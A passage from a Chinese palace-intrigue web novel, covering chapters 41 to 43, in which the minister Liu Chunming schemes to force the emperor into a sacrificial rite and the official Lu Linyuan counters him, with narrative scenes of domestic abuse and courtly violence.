“你还有脸说?我要你这废物保证有何用?连个废人都看不住!”柳春明用鞋尖将地上的人踢开。
“人丢了多久了?”
“丢了,约摸四天了......”“约摸?”
柳春明愈发不耐烦起来,“你连人是何时丢的都不知吗?”
“废物!”
柳春明俯下身,掐住柳如霜的下颌。迫使她抬头直视自己,阴翳的眼神中是毫不掩饰的嫌恶。
“几时发现人不见的,不见的时候柴房是何样的状况,这件事还有谁知道了,通通给我想清楚说明白!”
“啪——”又是一巴掌甩到柳如霜脸上,她的脸被打得偏到一边,纤细的脖颈在大手的掌控中仿佛下一秒就将被折断。
泥人尚有三分血性,被毫不留情地打到这个程度,或许寻常人早便生出了逆反之心。
但柳如霜没有。
她的眼中充斥着惊恐,瞳孔里倒映着柳春明高高抬起的另一只手。
她没法接着思考,只能支支吾吾地一个字一个字往外蹦。
柳春明的面部染上绯红,怒气显而易见。
一道尖细的女声终于开口。
“老爷,何必让她在此浪费时间,不若将看守的下人一并喊来。”
“妾身听闻,江南有一种水刑,最是能激发人的记性。要不了人的性命,结束后任何印记都留不下来,绝不会伤到任何人。”
“我们如霜还未曾婚配呢,老爷。”
“哼!”柳春明斜睨一眼背后的女人,从鼻腔深处挤压出一声冷哼来。
像是抛去什么包袱一般,随手将柳如霜往地上一扔。
柳如霜从未如此庆幸过自己这副皮囊,至少自己的婚配还能卖个好价钱。
她还有价值。
同时在心里更加惦记起柳惊鸿。不是惦记她何时能被找到,而且盼望她这个废人在外面早些被弄死。
最好这一辈子都莫要再回柳家。
负责看守柴房的所有丫鬟婆子被一并押进屋内,绿袄丫鬟在门口看着一群人哭天喊地地进去,痛苦地嚎叫被四方的院墙挡住。
然后里面传来吩咐:“叫人烧些热水来,再叫人提着凉水,莫要掺杂在一起,手脚麻利些!”
绿袄丫鬟瞪视一眼身旁笨手笨脚的粉褂小丫鬟,“我去提水,你老实站着,主子说什么给我完完整整记住了,一切待我回来再去做,莫要自作主张!否则,大罗神仙也保不住你的命!”
粉褂小丫鬟眼含热泪地点头,隔着一层薄薄木门,她谨慎地听着里面的动静。
日落西山,送水的丫鬟跑了一趟又一趟。
嚎叫从高亢到无力,水从清澈变得浑浊,像夜幕降临之前日光与夜色交汇的天际。
粉褂小丫鬟咬住手腕,不让自己发出声音。
——
“没有为何,只是那日不经意间看见了季赫楚的玉佩。”
“缠枝的龙凤佩,当是还有一个在他人身上。能让季赫楚贴身佩戴,我猜测是他珍视之人。”
“珍视之人。呵。”陆临渊不知为何冷笑了一下,说是笑有些不对,他的眼中没有温度,只平平地扯了一下嘴角。像是嘲讽。
“有这枚玉佩的女子当是已经去世。”陆临渊意味深长地审视着身旁的女子。
“还是说,你见到她了?”
阮绮华短暂地沉默了一下。她垂眸思考了片刻,再次抬起眼时,眼中闪烁着细微的兴奋的碎光
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——类似挑衅。
“陆大人,您说呢?”
似乎有看不见的细线连接起两人,气氛变得微妙起来,有什么不可言状的暧昧气息在阮绮华眼中跃动。
若是她没记错,每一次李副使出现的时间,都恰到好处地在哑女发病后的两个时辰内。
之前是自己天真,遗漏了许多细节。鬼门关走了一遭,她才迷迷糊糊回忆起许多事。
所以,阮家的事情,你到底清楚多少?
男人的眼睛好像变成一汪深沉的湖水,看似清澈的水面下,是数不尽的情愫。
如果陆临渊站在对立面,她的不顾一切算什么?或许她本就不必再为毒素而担忧。
乐得轻松。
“我同阮大人的目的一致。”
陆临渊的眼神终于温和下来,他没有正面回答阮绮华的问题,没头没脑的一句话,却让阮绮华飘在半空的心落了地。
这是很悠长的一瞬。
掩饰不住的笑意在两人之间漾开,阮绮华很矜持地在心中冷哼了一声:“啧,话也不说清,也不知道这人到底知道了多少。这下看来,是还需自己再去折腾解药的意思了。”
三言两语的,她心中被迷雾压着的烦闷总算散开了些。
“那便麻烦陆大人派些人,护着我阮家一些。我阮氏小门小户的,可防不住外头盯着的眼睛。”
“荣幸之至。”
陆临渊下地站直,双眼直勾勾盯着阮绮华的眼睛。
过于炽热的眼神似乎要将人灼烧,饶是阮绮华此刻身寒体虚,也感受到双颊的热意。
更令她意外的是——
尊贵的大理寺卿低下头,行云流水地躬身屈膝,然后拱手。
对她行了一个标准的君臣礼。
同一时刻,阮绮华看过去。
刚想质问陆临渊的行为,却撞进了对方认真的眼眸。
瘦削的权臣虔诚行礼,红衣少女端坐在床。
对方分明是仰视,但阮绮华却觉得男人的压迫感从头顶笼罩住她的全身。
“可以吗?”
大小姐不知如何应对,有些躲闪地想挪开视线。但男人不准备放过她。
“我会保护好阮家,不再让你们受到伤害。可以给我一个保护的机会吗?”
陆临渊步步紧逼,阮绮华不自觉地软了腰。她的上半身无力地朝后仰。
相当危险的姿势。
她几乎能看到男人脸侧白皙皮肤下透着青的脉络。
“嗒——”
她即将失去平衡,脚尖踢翻了床下的药箱。里面的针具与箱壁碰撞出清脆的一声响。
两个人的眼角均是一跳。
阮绮华眼疾手快地从气氛中抽离,一个侧身灵活地从角落跳出,到地面站稳。
“到用药的时辰了,不知怎么还没送来,我这就去催一催。”
仿佛再慢上一瞬间,就会再被抓回方才的窘迫中,说话的同时,阮绮华拎起药箱匆匆便是往外跑。
她方才分明只是提了个让他为了保护人质,顺便保护阮氏的要求。
这个男人......这男人到底是怎么回事?!
成何体统!!
41. 天罚
是夜,皇城,东暖阁。
红木百灵台上,一对掐丝珐琅纸画花鸟纹宫灯被景仁帝并做一排。被对面的男人沉默地瞪视一眼后,他讪讪地又将灯分开摆好。
男人身后,高高的槛窗挡住了外头的冬夜的风霜。
也挡住了号叫的北地寒风中尖利的女声。
冯保用拂尘点了点身旁被骂得狗血淋头的矮瘦小太监,示意他上后头稍稍。自己则是端着标志性的笑,迈着小步朝跪在地上的女人劝道:
“容妃娘娘,地上凉,您还是快起来吧。冻坏了身子,可就没人能替季大人操心了呀!您打下午就在这儿守着,您也看到了,皇上连晚膳都不曾出来用,确确实实是正忙着呢,抽不开身来见您。这样,您先回您的宫里,待皇上出来,奴才第一个给您通传。”
“本宫不回去,狗奴才,你们有什么资格来劝本宫,在青雀舫上就是你派人来将本宫拉回去的,且等着吧!本宫这就要再告,将你们这帮肮脏的阉人全都送进地狱去!”
“您这话奴才可就不爱听了。”冯保冷下脸来,笑容仍然挂着,但眼里俨然没了暖意。他直起身,掸了掸衣上并不存在的灰尘。向后退一步。
“娘娘,在场那许多双眼睛可都是看着呢。奴才可是为了您的安危着想。”
“您若是铁了心在此地跪着,奴也不多嘴了。”
“小灵子。”
“小的在呢!”
“去给咱家搬个椅子来罢,外头风霜大,为了防止容妃娘娘跪坏了身子,咱家今日就坐在暖阁门口,替皇上验证容妃娘娘对季大人的手足深情到底有多真!”
“诶!”
被点到名的小灵子一个溜烟便跑了出去,不多时,便一手拎着板凳一手拎着热茶跑了过来。
肩上还不忘给冯保扛了件披风。
是个会来事的。
冯保赞许地看了一眼小太监,笑眯眯地在他的搀扶下坐好,喝着茶看女子跪地发疯。
容妃叫得更加气急败坏。
“皇上,皇上!您看看臣妾啊!”
声音几乎被寒风吞没,传到暖和的内室时,已经变得微弱。
百灵台对面的男人笑不达眼底,“皇上真的不出去看看?”
“我出去看什么,她弟又不是我打残的,人现在也不在我手上,我出去,拿我的龙袍给她当擦脸布用吗?再说了,我又不会医术。”
景仁帝没好气地白了一眼陆临渊。
“若不是你给人弟弟打残了,她至于这么嚎嘛。别说她了,柳家那位这会儿估计还上火呢。”
“计划都被你打乱了。何不下手轻些,徐徐图之?”
陆临渊抬眼,似笑非笑地瞥了林庄清一眼,好像在说,你家言皇后被人伤成那样,你不得提剑砍了他?
景仁帝试着在脑海中臆想了一番那般景象,画面还未成形,便嘶地倒吸一口凉气。面上正色起来,立刻改口道:“方才是我失言,陆大人还是太仁慈了。”
“那让我们来谈谈善后的事儿吧。”
陆临渊颔首,进入正题:“以那位的性子,季赫楚已废,那边不会再试图救他。”
“上次大理寺抓的那批人招了,是从西边来的。”
“恭亲王的人?”
景仁帝蹙起眉,与陆临渊对视。
先帝在位时,他那些兄弟姐妹忙着勾心斗角,蚕食国库,最后几乎被他杀光。剩下的只有几位安分守己的表亲。
只有这位恭亲王,他的亲叔叔。因为显而易见的不羁性子,先帝暂且留着他当个闲散亲王。
不知是否是因为在边境呆太久,连衣着服饰也染上了胡人气息。景仁帝想起他乱糟糟的头发,心里一阵打结。
“不,虽说是从恭亲王的领地冒出来的,但他们不是恭亲王的人。”
恭亲王虽不拘小节,但并不是跋扈之人。在天子脚下当街跑马压死百姓,他干不出来。
“那是?”不知为何,虽然他与自己这位叔叔并不亲近,但听到不是他,心中还是轻轻松了口气。
但这口气很快又提了上来。
因为陆临渊正视着他的双目,一字一顿说出了一个让他意外的答案:
“是胡人。”
“什么?!”
陆临渊用平稳的声线放下惊雷。暖阁中的气氛瞬间凝固,方才插科打诨的活泼消失不见,景仁帝的的面色沉下来。
大雍并不支持两国通商,自二十年前沙城一战,将军宋濂血战七天七夜,连斩胡人两名主将,力压胡人迫使对方议和后,林庄清已经许久不曾听到关于胡人的消息。
数十载不曾关注的敌国竟突然渗透到京城。
他们都知道这意味着什么。
景仁帝眸光沉沉:“宋濂可曾知晓此事,有何说法?”
“暂且不知。”
沙城一战,虽给敌国致命打击,但宋濂也被重伤了脊骨,能够凭借惊人的意志力从塌上再次站起,已经堪称奇迹。
若是再度让他对上胡人,恐怕......
景仁帝眉头紧锁:“他们此行的目的打听出来了吗?”
陆临渊颔首:“鹰眼的人回信,边境尚无异状,这行人行踪诡异,身手利落,不像是普通胡人,反倒是像职业死士。”
“死士?”
“是。”陆临渊清清嗓子,“捉拿的时候恰好漏了一条鱼,这个时段,我的人应当已经追到了他们的老巢了。”
——
京郊某处深山。
满山的树叶被风吹得作响。
夜色的遮掩下,一道玄色身影身影目标明确,不远不近地跟着一个男人,安静地在山林中穿梭。
行至一处断崖,只见前面的男人脚下一滞,忽然反头张望。
李一彦连忙闪身,在大树的遮掩下探头向外望。
确定四下无人,那男人在巨石表面几处快速拍打几下,然后巨石一分为二,轰然裂开一条缝隙。里面透出亮眼的光来,隐隐还有人声。
男人一个闪身进入,树后的李一彦心下一震。
巨石在缓缓移动,缝隙逐渐减小。
不敢再犹豫,李一彦心一狠,足尖轻点,一个纵身跃进,落地的一瞬,巨石彻底关闭。
——
“砰——”
“皇上!钦天监急报!”
小太监惊慌失措的道歉声和冯保急促的声音同时响起。
门板被人拍得啪啪作响。
不对劲——
冯保不会轻易慌张,门外绝不止钦天监的人在。陆临渊与景仁帝对视一眼,果断侧身进了里间。
与此同时,有人不顾冯保的阻拦,大力拍打东暖阁的门。
“皇上!”
是容妃。
又是她。
景仁帝不耐烦地
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眉毛倒竖。“让各位大人进来,冯保,派人将容妃送回她宫里。”
门外传来冯保低低的应和声,紧接着进来的是柳春明,和钦天监的一行人。
“皇上,大事不好了!”“皇上!”
“爱卿所遇何事,竟不顾礼仪,如此慌张?”
乌泱泱好几个臣子从外头涌进来,进了屋扑通扑通,跪了一地。
一群老的少的头发花白的臣子进门就开始嚎,景仁帝能感觉到自己额角的青筋一下下跃动。
“都给我闭嘴!”
帝王的威压霎时涌起,墨黑的瞳仁不带感情地扫视一圈在场的大臣,口吻是不加掩饰的冰冷:“一个一个说,朕倒要听听,这么晚了,有什么了不得的事情,能让众位卿家连夜来闯朕的宫门?!”
“谁先说?”
方才叽叽喳喳的诸位大臣突然哑了声,景仁帝蹙着眉,不耐烦地开始点卯,“邬氏,你喊得最大声,那你先说说,是出什么事了?”
“皇,皇上。”被点到名的邬氏一开口,热泪便顺着颤抖的声线流了下来:“皇上,钦天监测星占卜,锥星绝,枢星散。”
“星宿指向中州,恐有地动啊!”
地龙翻身?!
“你可确定?”
“兹事体大,微臣不敢轻易打搅皇上,又不敢轻易做抉择。测出此异状的当日,便立即派人去寻了陆大人,但陆大人不在府上,微臣在去大理寺的路上,碰到了同样遇到异状的柳尚书,这才斗胆与柳大人一起进宫来上报。”
“柳爱卿,你来说,他说的可是真话?”
“回皇上,邬大人说的句句属实。微臣昨日收到中州来报,近期来,当地村民家中鸡禽不宁,甚至出现了数起家禽伤人的事件。”
家禽不宁,是地动的前兆。
景仁帝听言,没再开口,审视的目光在面前几人身上逡巡。
看出来景仁帝的怀疑,柳春明抬起脸,眼中真切的担忧似要溢出来,两鬓的风霜在烛光下愈发明显。
这位两朝老臣膝行至御前,真真切切地行了一个跪拜大礼,然后张嘴决绝地开口:“皇上,您那时年幼,可能不太记事。但臣真切地见过,地龙翻身给百姓带来的苦痛。”
“皇上,臣有一话,不知当讲不当讲。”
景仁帝颔首。
“微臣听闻,近期的京城已经起了几次动乱。御前主街有马匹突然发狂,前几日青雀舫混入刺客,朝廷要员受到重创,眼下又是钦天监来报,中州地震。”
“微臣,微臣担心,这是天罚啊!”
两鬓斑白的两朝老臣字字泣血,干瘦皱巴的手指颤巍巍地指向不可说的天外,然后马上收回,仿佛再多指一下,都会被天上的仙人发现,降下惩罚。
“天罚?呵,柳爱卿,你到底想说什么,难不成是你觉得朕这个皇帝当得不好,引起了天罚?!”
“荒谬,简直荒谬!”
“皇上,您可以不信,可是,中州不能等啊!再者,前几日的早朝上,江南巡抚阮大人也曾启奏,淮水的水位有异,恐有水患。”
“淮水奔涌,往往都在春夏时节,因此,众位同僚那时听到阮大人的话都不以为意。可如今看来,地动之后,紧接着确实就是水患。”
“皇上,您三思啊!”
“皇上!”
字字恳切带着泣音的劝告声在东暖阁此起彼伏。
42. 头都掉了
江南巡抚,阮大人,也掺入这件事之中了吗?
景仁帝能听到细微的声音从身后传来——那是陆临渊所在的方位。
他回忆起从青雀舫回来的那日早朝,阮大人像是吃了炮仗一般连喷了陆临渊一刻钟。画面太过于震撼以至于他意外地对淮水怪异的水位丧失了警惕。
那时候便开始布局了吗?他面无表情地环顾在场诸位官员。
他知道自己应当相信阮家,应当相信陆临渊的眼光。但隐秘的角落,怀疑的种子已经种下,蜿蜒的藤蔓在四肢百骸游走。
有风从背后穿过来,凉气与暖阁中原有的热气碰撞,在场众人不由自主地打了一个寒颤。
布满繁复花纹的地毯上,大片大片赤红与金色的细线缠绕,一众官员跪在地上,尖顶官帽上的璎珞一朵朵盛开。
跪在最首端的柳春明激动地猛磕几个头,见皇帝不为所动,揪着自己的衣领,苦口婆心地又开始劝。
“皇上,不能再犹豫了啊,圣天降罚,百姓受难,您是真龙天子,只有您才能拯救万民于水火之中,皇上!”
在柳春明的带领下,后面几位钦天监哭天抢地的声音此起彼伏,在寂静的皇宫中传得很远。
景仁帝的面上一点一点被阴鸷爬满。
可笑,请几个老秃子来跳跳大神,上上香摆摆酒就能拯救万民?那他打小也不用学什么帝王之术了,先帝直接给他剃了头送五台山得了。
方才陆临渊说得不差,柳春明这种老狐狸不会在半废的棋子上花心思,季赫楚被抛弃后,老东西加快了动手的速度。
京城忽现的胡人刺客,背后站的是谁,不言而喻。
思及此,景仁帝低低冷哼一声。
随即一掀衣摆,在宽大龙椅上坐下。他缓缓扫视一圈,开口道:“那么按照诸卿的意思,朕,应当如何做啊?”
这是松了口风?
底下人对视一眼,钦天监众人面上皆是隐秘的兴奋。
“皇上,您有真龙血脉,此时对于别人来说是复杂至极,但若是您愿意配合,消除灾厄的事情便好办许多。事不宜迟,钦天监上下将尽快在京郊安排一次祭天大典。”
“噢?地点都选好了?”
“是的,皇上。恐耽误大事,连夜测算的方位。”
“可是据朕了解的,历朝历代的祭天大典,可都是需要掐准黄道吉日的。前几日早朝上,钦天监不是还上折子,本月挑不出好来?那你说的这个尽快,是多快?”
景仁帝好整以暇地端起青花瓷盏来,看下面的人的反应。
每月月初,钦天监都要掐算一遍当月的吉凶,景仁帝不轻信鬼神之说,每次钦天监的人例行上奏,他都一副兴致缺缺的模样。
没人想到,都到了月中,本月初早朝上的几句话还能被他放在心上。
下面人支支吾吾,被这话一堵,眼见着气势就弱了下去。
总不能自己打自己的脸,当场改口,信誓旦旦地将准备好的日子再说出来吧?
景仁帝的小指极有耐心地敲击着瓷盏。
见众人面色打结,他心中有几分冷笑。一句打发他们赶紧回去的话还没说出口,就听见一道人声坚定地又开了口:
“皇上。”不同于各位钦天监小兵的犹疑,柳春明脸上仍旧维持着真假难辨的真诚。
景仁帝心道不好,这老狐狸不是那么好糊弄的。
装看不见也不行,景仁帝开口:“柳爱卿还有什么想说的?”
“皇上,臣的确还有事启奏。其实一月以前,钦天监便已经同臣启禀过一次红月之象,当时正忙于筹备秋月宫宴,宫中一片祥和,臣便压下未启奏。”
“但,不过一周以后,小女办生日宴,出现了莫名其妙的刺客,臣担心引发惊扰,未曾公开。后经查证,那枚被刺入花厅的剪头,竟是,竟是来自于.......”
“来自于何处?”
“微臣斗胆,那枚九龙纹的箭矢,恐怕是来自于皇陵。”说着,柳春明竟真从怀中掏出来一枚尖头磨损,带着风霜磨损的箭头。
随着他的动作,离得最近的钦天监官员将物什的全貌收入眼中,脸上慢慢浮现出活见鬼的神情,嘴角是压抑不住的抖动。
“这,这是......”
九龙本是至阳,但这枚箭矢身上却恰恰有着诡谲的诅咒。传闻九龙箭现世,祸乱将至。
先帝在临终之前,点名要陪葬此物。
为何,为何会出现在此地?!
钦天监的脸色已经不能用骇然来形容,他们存在的意义是预测凶吉,保大雍风调雨顺。此物带着厌胜之力,更别说极有可能是从黄陵莫名其妙蹦出来的。
为何会出现在此处?!
众人的目光移到龙椅上的男人脸上。
自那物被掏出到完全暴露在光亮之下,男人的坐姿不自觉地由半倚着椅背到微微前倾。他摩挲着玉质的扳指,冰冷的光折射出来。
景仁帝的面色沉到了谷底,怒火在绷紧的面容下隐隐涌现。
柳春明还在说话,“皇上,这枚箭矢在臣书房中已久,想到它背后可能的含义,臣惶恐不安,日夜不得安眠。”
景仁帝放于双膝的手已经紧捏成拳。这老匹夫是生怕他听不懂啊!
当年为了避免引起风波,众人只道先帝死于早年征战旧伤复发。可他心里确是明白得很,什么旧伤,他的父皇明明是死于慢性中毒!
这枚箭矢,也没有什么诅咒,不过是他年少时学射箭留下的把玩之物。柳春明看守国库不干不净这事他早已知晓,但眼下这位情真意切的老臣竟将他爹的陪葬品都昧下,甚至堂而皇之地编个谎拿出来当说辞。
难道不是在变相地威胁?
——看脸色煞白的钦天监便知道,倘若此物被公诸于众,他这位昏聩不顾百姓死活的君主,被各位言官武将钉死在耻辱柱不说,极有可能,还将引起百姓的悍然反抗。
他用力闭了闭眼,掌心渗出血来。
龙椅太过宽大冰冷了,他恍然又回到了刚刚被扶上这处宝座的年幼时期。
柳春明不怀好意的凝视下,他听见自己的声音轻轻落下:“柳尚书言之有理,此事由礼部牵头,与钦天监合力完成吧。”
一阵欢喜的声音扑过来,“皇上圣明!”
“皇上如此宽仁爱民,百姓何愁不能安宁?”
“大雍有这样的好皇上,是万民的福分。”
他疲倦地摆摆手,想说:“无事,便退下吧。”
然而他的话再次被堵在了咽喉中。
“皇上,关于祭天大典,钦天监还有事情获得您的首肯。”
趴俯在地,头发花白的臣子说道。
“.......”
“还有何事。”又来了,看不见的丝线从四面八方涌过来,将他捆绑在龙椅上的感觉。
“近日灾厄颇多,为了冲散天灾的死气,需要在仪式上借您的真龙之血,画一张震天符纸。”
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>画张符纸,出点血,不算大事。虽然往年祈福求雨,通常用的是牲畜的血,但方才他们将事情说的那样严重,用他这个皇帝的血,大逆不道,但也尚且在忍受范围内。
只不过,若符咒都要用到皇帝的血,那么祭品是不是也应当上上档次?
有些奇怪的预感从心底涌上来,景仁帝蹙起眉头,不置可否,接着问道:“还有呢?”
“皇上,这次的祭品......”那钦天监的官员舔了舔下唇,再次开口时,语气中带着意味不明的试探:“或许,需要用到活人,最好是童男童女。”
“咚!”
一枚瓷盏扔了出去,泼洒的茶水将地毯洇湿,水渍悄无声息地蔓延到跪地官员的膝盖处。
不知是被烫得还是被吓得,那官员颤抖起来,当下抑制不住地磕头:“皇上息怒,皇上息怒啊!”
“大胆!你还有脸叫朕息怒!活人祭天,你可知道你在说什么话?!”
“简直是歪门邪说,我大雍数百年以来,何时何事用到过活人祭?”
景仁帝的双瞳恶狠狠地放大,压抑不住的怒火从周身蔓延,这位忍了一晚上的帝王终于发出了怒火。
“来人!给我把这个不知死活满口胡言的人拖下去,革职处理!”
“圣上三思啊!”
柳春明伸手拦下冯保转身向外的脚步,单臂将人限制在原地。
“皇上,成大事不拘小节,牺牲几个不打紧的,换来举国上下的安宁,这是被祭天者的幸事啊。”
“若是让此事发展下去,百姓受苦,民间惶惶,那时再来后悔,恐怕中州的王魂会不顾一切地扑向这紫禁城,到时,恐怕有朝廷倾覆之灾!”
柳春明的语气愈发激动,脸色涨红,唾沫横飞。见到景仁帝仍然不松口后,他又暗示一般地晃了晃手中的箭矢。
景仁帝的胸口剧烈起伏,粗重的呼吸声从他所站之处传出。
被柳春明尽收眼底。胜利者的微笑从这位肱股之臣的眼角眉梢溢出。
这个国家的所有财富,势力,甚至龙椅上坐着的人,都被他的手所掌控。
多么曼妙的感觉。
“皇上,您已经成长为一位明智的君王了,应当分清什么是忠言,孰轻孰重。中州的百姓,淮水的百姓,可还指望您的关怀。”
“啪啪——”
有鼓掌的声音伴随轻巧的脚步声走近。
身着绯色衣袍的男人踩着从长刀滴落的鲜血,抚掌而入。
他的身后,是一众蒙面带刀,显然刚刚执行完任务的金吾卫。
“看来陆某来的正是时候,刚刚在京郊捉拿了几个贼子,虽然时间紧,没问出许多东西来,但确实也有些有意思的讯息传入。打算禀告圣上后,就去同柳大人商议商议相关事务。没想到柳大人恰好也在此,那要不就一并说了?”
陆临渊噙着笑唤手下打开了一直端着的匣子。
“哈!”
随着惊讶声,黑红圆滚的东西从手下怀中滚落,正正好停在柳春明脚边。
“!”
“哎呀,你看看,这是怎么办事的。”
“皇上,微臣的金吾卫也该增添人手了,来个案子,这手底下的人忙了几天,忙得晕头转向的。这不,手上失了分寸,头都给人弄掉了。”
“柳大人,没被吓着吧?”
脚边的头颅大睁着双目,血迹覆盖在他过于浓密的毛发上——
寒气从柳春明的脚底升腾。
43. 嚣张权臣
“你!”
老臣瞪大了双眼,从喉咙深处低低吼出声音。
面上是显而易见的僵硬。
年轻的权臣大步流星地迈步过来,绯红衣袍尚且裹挟着外头带上的寒意。
他一边笑着抱歉,一边用长刀挑了挑地上的头颅,似乎是想将它挪远一点。
“见笑了,手下人没个分寸。手抖。”
但话还说着,刀背却精准地将被脏污覆盖的头颅挑了起来,新鲜的血滴挥洒出弧线。
停在柳春明眼前。
“柳大人看看这贼子,可还眼熟?”
面如冠玉的男人单手执长刀,有礼有节地同柳大人提问。
分明是嚣张残忍至极的行为,陆临渊面上的笑容却丝毫不改。
仿佛只是提了个食盒在问今日可曾用膳。
周遭有人发出抑制不住地吸气声。
几位钦天监也不磕头了,大眼瞪小眼地互相对视,然后犹疑地朝后头一退再退,生怕被某位活阎王盯上。
到底是浸淫官场多年,在周遭的人害怕惊惧时,柳大人的反应依然迅速。面对陆临渊来势汹汹的质问,他的视线只短暂地停留在对方身上片刻,便马上转向了景仁帝。
“皇上,陆大人这是何意?臣的赤胆忠心苍天可鉴,自然不可能认识所谓贼子。当着众人的面污蔑臣,臣不知是否自己是有何处得罪了陆大人?”
眼见着柳春明就要哭天抢地喊起冤,景仁帝这才大梦初醒般对陆临渊说道:“放肆!陆临渊,你将朕视为何物?当着朕的面,提刀吓唬柳大人,这像什么样?”
“快给朕放下!”
景仁帝目光沉沉,能够佩刀进宫的人物不多,但凡能有此殊荣的,身份地位都不言而喻。
但即便陆临渊地位再高,也并不意味着他能够当着帝王的面,抽出长刀。
若是景仁帝当真要治罪,此为绝对的大不敬!
一旁的冯保看着心惊肉跳,但他想的不是这个,而是——将一位朝廷重臣拉下马这种事情,是需要完整证据的。
尤其当对方在朝中亲信无数的两朝老臣柳春明,若不能一次彻底按死,让他永无反击之日,那么一旦被抓住机会,局势便有可能被疯狂反扑的柳大人瞬间逆转。
若不是景仁帝三言两语间将事件的性质由“污蔑”改为了“吓唬”,那可就说不清了。
陆临渊对此心中有数,此刻颇为利落地顺着景仁帝的话,将东西扔回了下属的匣子中。再度开口,眼中的锐利已被完全掩盖,“说笑罢了,柳大人宽宏大量,莫要放在心上。”
“不过。”他话锋一转。
“方才您说的,京城有不知名势力动乱一事,大理寺确实已经查明。”
“非怪力乱神之说,只是有几名胡人潜入了京城,手脚不规矩,给百姓添了点乱子。大理寺已将人捉拿归案,柳大人也可放心了。”
胡人?!
胡人不是早被宋将军打跑了吗?怎会有机会潜入天子脚下?!
周遭响起细微的疑问声,柳春明的脸色比方才更僵硬几分。
陆临渊环视一圈,将众人的反应快速掠过,只在看向柳春明时,意味深长地停顿了片刻——藏得不错。
又接着道:“皇上治理下,大雍的百姓安居乐业,一片欣欣向荣。请各位大人不必惊慌,大理寺不日便会对捉拿的贼子做进一步审问。”
“不过,既然动乱并非天灾,所谓祭天大典,依我看,是不是便该免了?”
陆临渊负手而立,越过面前的柳春明,眼神径直盯向钦天监众人之首。
对方很明显未曾想到事情的走向会发生这样的改变,脸上的慌乱表露无遗。
“怎的,各位钦天监的大人,陆某说的可有不当?”
说是询问,陆临渊的面上却是看不出半分觉得他不妥当的神色,反倒不知从何处摸出来一个木雕,一边轻巧地把玩,一边半是不经意道:
“若是陆某说的不当,还请各位大人不吝赐教。”
“不过说起来,钦天监的推演一向精准,此次出此错漏,不知是意外还是......有人故意为之,企图蒙骗皇上,蒙骗天下人?!”
“陆大人!”
一顶“欺君”的大帽从天而降盖了上去。为首之人的脸色霎时变得青一块白一块,他咬牙切齿地低低喊了一声,涨红了脸,急促地盖住了陆临渊未落的尾音。
“您!还请您莫要妄言,钦天监只为皇上所用,为万民谋福祉。”
“皇上!”那老臣一副被泼了脏水羞愤欲死的模样,也不知哪来的力气,这头发都白了的老臣几个迈步冲出了侍卫的看守。
似乎景仁帝不信他,他就能当场撞死在这大殿的柱子上。
暖阁总归是比宫里其他地方要热乎些,也不知是热得还是烦得,豆大的汗珠从景仁帝额上滴落。
他总不能真让手下的臣子撞死在自己的暖阁中——即便他确实想换块地毯,也不在乎自己在史官笔下的形象。
但动荡时节里,大臣含冤而亡可能引起群情激愤。他不愿再引起事端。
景仁帝只好低声警告陆临渊,让其莫要胡言。又说几句囫囵话,示意自己相信钦天监的忠诚。
好不容易将两边都安抚下来。柳春明又接话道:“京城的动乱得以查明,贼人被一网打尽,自然是再好不过。但话又说回来,即便是推演有误,但动乱也是实打实发生了的,中州的地动,淮水的翻涌,是不可否认的事实。”
“皇上,人命关天,宁可信其有,不可信其无啊!臣恳求皇上,为万民着想,求上苍怜悯!”
“是啊皇上。”
“求上苍怜悯!”
此起彼伏的声音在暖阁响了一夜,饶是跟大臣周旋惯了的景仁帝也觉得耳朵发堵,不耐烦地蹙起眉。
只有陆临渊早知钦天监与柳春明串通一气,当下见到这样的场面也不意外。
冷哼一声,朝龙椅上的帝王递去一个安抚的表情,示意他将心放下。
“柳大人说得不错,但既然钦天监真推演出了天灾,不如直接派人去处理了。至于求上苍怜悯之事......”
陆临渊顿了顿,跪地的众人登时挺起胸膛,目光灼灼地等待下文。
连方才闹着要撞柱的老臣都停下了身体前倾的弧度,不过看样子,他似乎是随时准备再接着闹。
“祈求上苍之事,是好事。”
居然不反对?众人不可置信地面面相觑。
“但以臣愚见,便不用再
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做活人祭祀了。改为去寒山寺礼佛,也更符合先皇一直以来的信仰。”
陆临渊意有所指,眉毛轻挑,目光在景仁帝与钦天监之间游移。
在场众人都很清楚,先皇虽然是位扛着大刀杀上龙椅的铁血帝王,但同时,他也是一位忠实的佛教信徒——
具体体现为,每年除夕夜,他都要亲自走上寒山寺,踩着午夜的钟声,燃起一柱一人高的龙头香。
改祭天为礼佛,于情,不用再行活人祭这样夭寿的事,景仁帝可以满意了;于理,皇室体贴爱民,祈求上苍怜悯子民的事情也办得妥帖,甚至还能求已逝的先帝顺带保佑一下。
“这......”钦天监众人一时想不出反驳的话,求助地看向柳春明。
但陆临渊根本没给众人求助的机会,一个迈步,他轻巧地行至柳春明身边,挡住了众人的视线。
“呵,诸位同僚,此时作为钦天监的推演,为何还要看柳大人?难道柳大人脸上有星宿不成。还是说......”
“够了!”
景仁帝不悦地看向拱火的陆临渊,在钦天监再一次闹起来之前,拦住了他的话。
“朕觉得礼佛甚好,诸位爱卿可还有异议?如若没有,今夜到这里吧。此事便还是交给礼部与钦天监办了。”
“皇上英明,臣无异议。只是还想再同您商议关于增添大理寺人手的事。”不等他人开口,陆临渊已经将长刀横立在身前,有礼有节、行云流水地开始要人。
“你给朕闭嘴!大理寺的事,朕一会儿单独再议。”景仁帝再次看向柳春明:“可还有异议?”
“臣,无异议。”
“那便早些歇着吧。”景仁帝颇为疲累地摆摆手赶人。
说好的祭天变成了礼佛,冯保将柳春明与钦天监送出宫时,眼见着各位大人的面色皆是不虞。
但这厢的景仁帝终于是松了口气。
目视着难缠的几位远去,这位应付了一夜的少年帝王大马金刀地往龙椅上一坐。
一手屏退下人,另一手还不忘给自己沏了杯茶,“陆大人,还站着做什么,快歇歇。饮口茶去去晦气。”
一面用茶,他一面朝他视若兄长的男人埋怨道:“这么多年了,那柳老头还是一样难缠,连威逼带利诱的,就差把朕的列祖列宗搬出来压朕了。”
“还好有你在,那边的胡人如何了?都捉拿干净了吗?”
景仁帝的面色轻快,但陆临渊却一扫方才对阵柳春明时的松散。
随着周遭人士的清退,他的脸上逐渐被凝重爬满,明亮的宫灯下,他再次摊开了方才装着胡人头颅的匣子。
“这,这不是”看清那人模样的景仁帝不禁顿住。
——这哪里是胡人,分明只是一个发丝天生弯曲的汉人。
“方才不过是短暂地唬住了柳春明,瞒不住多久。我方才已经命人去搜寻李副使,但仅凭金吾卫的人数,时间上或许还是有些吃紧。”
“那便增派御林军!”
“方才送柳春明出宫时,已经传令给御林军首领了。”
“那你还在忧心什么?”
